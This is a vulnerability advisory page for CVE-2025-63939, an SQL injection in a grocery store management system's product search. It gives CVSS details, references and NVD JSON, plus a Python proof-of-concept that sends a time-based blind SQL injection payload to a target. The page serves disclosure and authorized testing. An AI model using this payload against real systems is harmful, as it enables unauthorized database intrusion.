CVE-2025-63939

Description

Improper input handling in /Grocery/search_products_itname.php, in anirudhkannan Grocery Store Management System 1.0, allows SQL injection via the sitem_name POST parameter.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

anirudhkannan Grocery Store Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_sqli_vuln(target_url):
    """
    PoC for CVE-2025-63939 SQL Injection Vulnerability
    Target: anirudhkannan Grocery Store Management System 1.0
    Parameter: sitem_name (POST)
    """
    vuln_path = "/Grocery/search_products_itname.php"
    full_url = f"{target_url}{vuln_path}"
    
    # Time-based blind SQL injection payload
    # If the database sleeps for 5 seconds, the vulnerability is confirmed.
    payload = "1' AND SLEEP(5)-- -"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    
    data = {
        "sitem_name": payload
    }
    
    try:
        print(f"[+] Sending request to {full_url}...")
        response = requests.post(full_url, data=data, headers=headers, timeout=10)
        
        # Check if the response time indicates a delay (SQL execution)
        if response.elapsed.total_seconds() >= 5:
            print("[+] Vulnerability Confirmed! The application responded with a delay.")
            print(f"[+] Response time: {response.elapsed.total_seconds()} seconds")
        else:
            print("[-] Vulnerability not detected or payload failed.")
            print(f"[-] Response time: {response.elapsed.total_seconds()} seconds")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1" # Replace with actual target URL
    check_sqli_vuln(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63939
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63939
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63939/
[4] VulDB https://vuldb.com/cve/CVE-2025-63939
[5] https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2025-63939

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63939", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:33.660", "lastModified": "2026-04-17T15:33:34.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input handling in /Grocery/search_products_itname.php, in anirudhkannan Grocery Store Management System 1.0, allows SQL injection via the sitem_name POST parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/TREXNEGRO/Security-Advisories/tree/main/CVE-2025-63939", "source": "[email protected]"}]}}